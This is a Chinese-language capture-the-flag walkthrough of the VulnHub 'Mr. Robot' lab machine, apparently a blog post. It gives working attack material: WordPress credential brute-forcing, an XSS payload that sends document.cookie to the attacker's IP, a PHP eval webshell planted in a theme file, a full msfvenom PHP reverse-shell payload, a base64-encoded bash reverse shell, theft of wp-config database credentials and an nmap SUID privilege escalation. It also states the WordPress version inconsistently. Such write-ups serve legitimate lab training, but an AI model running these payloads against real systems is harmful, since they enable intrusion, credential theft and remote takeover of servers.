vulnhub系列靶机-mrRobot

端口目录

22:36:32 200 - 504KB - /intro

22:36:37 200 - 158B - /license

22:36:37 200 - 158B - /license.txt

22:37:05 200 - 64B - /readme

22:37:06 200 - 64B - /readme.html

22:37:08 200 - 41B - /robots.txt

22:37:38 200 - 21B - /wp-admin/admin-ajax.php

22:37:39 200 - 1KB - /wp-login.php

22:37:39 200 - 1KB - /wp-login/

22:37:39 200 - 1KB - /wp-login

重点

 /license.txt 、/robots.txt、/readme.html:wordpress 默认说明文件

 /wp-login.php、/wp-login/:WordPress 后台登录页面,这是突破口

 /wp-admin/、wp‑content、wp‑config.php:wp 核心目录文件

目录访问

/license

what you do just pull code from Rapid9 or some s@#% since when did you become a script kitty?

翻译:

你就只会复制 Rapid9(WPScan 所属公司)的代码吗?从什么时候起你变成只会跑工具的脚本小子了?

/robots.txt

fsocity.dic

fsocity.dic 是一个出自热门安全挑战 "Mr. Robot" CTF(夺旗赛) 的密码字典文件

生成一个精简的新字典文件。例如:

sort fsocity.dic | uniq > fsocity_uniq.dic

key-1-of-3.txt

073403c8a58a1f80d943455fb30724b9

这是第一个key

/WordPress

/wp-login.php

这个可用刚刚的账号密码破解

没破出来:

现在点击忘记密码:

爆破这个

发现一个奇怪的

说明用户名就是这个

elliot

现在继续用这个用户名来·暴力破解密码

找到密码:ER28-0652

elliot登录wordpress

elliot

ER28-0652

来就看到版本信息WordPress 7.0.4,直接查看该版本漏洞

msfconsole

搜索4.3.1相关

search wordpress 4.3.1

msf 里面没有针对 WordPress 核心 4.3.1 的 EXP 利用模块,搜出来的只是某第三方插件的漏洞。

放弃这一想法

发现新的用户mich05654

暴力破解:

得到密码:Dylan_2791

登录后发现没有用

放弃这条路,现在去测试刚刚的XSS

回到管理员用户(elliot)使用XSS

点击查看文章后

有XSS

那就

只要管理员访问你的这篇恶意文章,浏览器就会执行你的 JS,拿到管理员 Cookie。

步骤 1:构造偷管理员 Cookie 的 Payload

把文章标题替换为下面 payload,把192.168.113.100改成 kali 的 IP:

<script>fetch('http://192.168.113.138/steal?c='+document.cookie)</script>

步骤 2:Kali 开启 HTTP 接收 cookie

mkdir /tmp/xss

cd /tmp/xss

python3 -m http.server 80

拿到的这组 cookie没有 wordpress_logged_in_ 登录凭证。

wordpress_test_cookie 只是 WP 用来测试 cookie 功能是否开启的测试 cookie,不是登录凭证。

其余都是前端浏览设置、统计类 cookie,拿到也无法实现后台登录。

放弃XSS

修改页面代码注入一句话木马

elliot本身就是管理员,XSS 在这里不再用来偷权限,XSS 只是一个执行 JS 的入口;拿到 shell 的核心是 WordPress 后台上传 / 写文件拿 Webshell。

http://192.168.113.144/wp-admin

自理有很多php文件

随便选一个注入一句话木马

@eval($_POST'cmd'); phpinfo();

成功触发

一剑上线:

http://192.168.113.144/wp-content/themes/twentyfifteen/404.php

cmd

提权

打开终端

进行信息收集:

id

whoami

uname -a

cat /etc/passwd

pwd

env

sudo -l

现在用户是daemon

要提权才是真正的成功

着重看有没有用户有/bin/bash,可以提权(DC-4后遗症)

查看靶机内的用户,发现只有robot在/home下有目录,不过查看/etc/passwd并没有指定bash

切换到robot下,发现有密码文件,具有查看权限,查看发现是md5加密

c3fcd3d76192e4007dfb496cca67e13b

这个是第二个key

这个是robot的密码:abcdefghijklmnopqrstuvwxyz

(daemon:/) $ uname -a

Linux linux 3.13.0-55-generic #94-Ubuntu SMP Thu Jun 18 00:27:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux

系统:Ubuntu Linux 3.13.0‑55‑generic

绝对有漏洞

msf查看Ubuntu Linux 3.13.0‑55‑generic版本漏洞

search Linux 3.13.0

内核 3.13.0‑55‑generic 完全命中该漏洞,msf 内置本地提权模块,不用上传脏牛源码,直接 meterpreter 会话内执行。

使用前提

必须拿到Meterpreter 会话(普通 nc bash shell 不能跑这个 local 模块)。

如果你现在只有蚁剑 webshell:

  1. msf 执行exploit/multi/script/web_delivery生成 php payload
  2. 在蚁剑终端粘贴执行 payload,拿到 meterpreter 会话。

前提:kali MSF 已经开好 handler 监听,等待上线

use exploit/multi/handler

set PAYLOAD php/meterpreter/reverse_tcp

set LHOST 192.168.113.138

set LPORT 4440

run

1、kali 生成 payload 代码(新开终端,不要关监听)

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.113.138 LPORT=4440 -f raw

Payload size: 1116 bytes

/*<?php /**/ error_reporting(0); ip = '192.168.113.138'; port = 4440; if ((f = 'stream_socket_client') \&\& is_callable(f)) { s = f("tcp://{ip}:{port}"); s_type = 'stream'; } if (!s && (f = 'fsockopen') \&\& is_callable(f)) { s = f(ip, port); s_type = 'stream'; } if (!s && (f = 'socket_create') \&\& is_callable(f)) { s = f(AF_INET, SOCK_STREAM, SOL_TCP); res = @socket_connect(s, ip, port); if (!res) { die(); } s_type = 'socket'; } if (!s_type) { die('no socket funcs'); } if (!s) { die('no socket'); } switch (s_type) { case 'stream': len = fread(s, 4); break; case 'socket': len = socket_read(s, 4); break; } if (!len) { die(); } a = unpack("Nlen", len); len = a'len'; b = ''; while (strlen(b) < len) { switch (s_type) { case 'stream': b .= fread(s, len-strlen(b)); break; case 'socket': b .= socket_read(s, len-strlen(b)); break; } } GLOBALS\['msgsock'\] = s; GLOBALS\['msgsock_type'\] = s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { suhosin_bypass=create_function('', b); suhosin_bypass(); } else { eval(b); } die();

完整全部复制,一行都不要丢。

2、切换蚁剑,打开【终端】标签页

注意:不是文件上传,就在蚁剑自带终端框里面直接粘贴运行。

蚁剑终端里面直接粘贴刚刚复制的全部 php 代码,直接回车执行。

失败

问了豆包

蚁剑终端是 Linux shell,不是 PHP 执行环境!

你直接粘贴 PHP 代码,shell 把 php 当成 bash 命令解析,直接报语法错误。

❌不能直接在蚁剑的命令行终端粘贴 PHP 源码。

数据库

先在kali上线:

nc -lnvp

cmd=system('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMy4xMzgvMTExMSAwPiYx|base64 -d|bash');

首先查看wordpresss连接数据库的文件wp-config.php

find / -name "wp-config.php" 2>/dev/null

cat /opt/bitnami/apps/wordpress/htdocs/wp-config.php

用户名bn_wordpress,密码570fd42948,数据库名称bitnami_wordpress,端口是3306

数据库类型是mysql

使用find寻找具有SUID权限文件,发现sudo,不过测试,当前用户不许sudo

find / -perm -4000 -print 2>/dev/null

find / -perm -u=s -type f 2>/dev/null

找到了nmap可以进行提权

这里的nmap不能直接使用, 环境变量 的问题,需要使用绝对路径

尝试第一种方法,发现提权不成功,版本在第二种提权方式范围内,尝试第二种方式

/usr/local/bin/nmap --interactive

!sh

提权成功!

相关推荐
白猫不黑5 小时前
网络安全/信息安全专业学习路线与入行指南:从大学到岗位的完整规划
网络·学习·安全·web安全·网络安全·黑客技术
xierui1231235 小时前
AI Agent 隐私架构:本地化重点为什么是登录态与执行权限
java·人工智能·网络安全·架构
其实防守也摸鱼6 小时前
Codex破局:前端组件秒级生成的技术文章大纲
开发语言·前端·人工智能·学习·安全·web安全
白猫不黑8 小时前
从运维到网络安全:转行优势、路径与薪资前景全解析
运维·网络·web安全·网络安全·信息安全·渗透测试
网安蟹佬霸8 小时前
密码学安全实战:从加密原理到哈希破解的完整攻防指南
网络·算法·安全·web安全·开源·密码学·哈希算法
AI备忘录9 小时前
(十一)DHCP 配置命令五厂商对照:华为 华三 锐捷 迈普 思科
服务器·网络·网络协议·网络安全·华为
0xBADCODE9 小时前
Flask SSTI读SECRET_KEY+伪造Session:税务系统渗透全流程
前端·后端·python·安全·web安全·网络安全·flask
石头猫灯19 小时前
WordPress wp2shell 漏洞链完整拆解流程
网络·数据结构·安全·web安全
网安蟹佬霸19 小时前
OSINT开源情报收集实战:从信息搜集到资产测绘(2026最新万字保姆级指南)
前端·网络·安全·web安全·网络安全·开源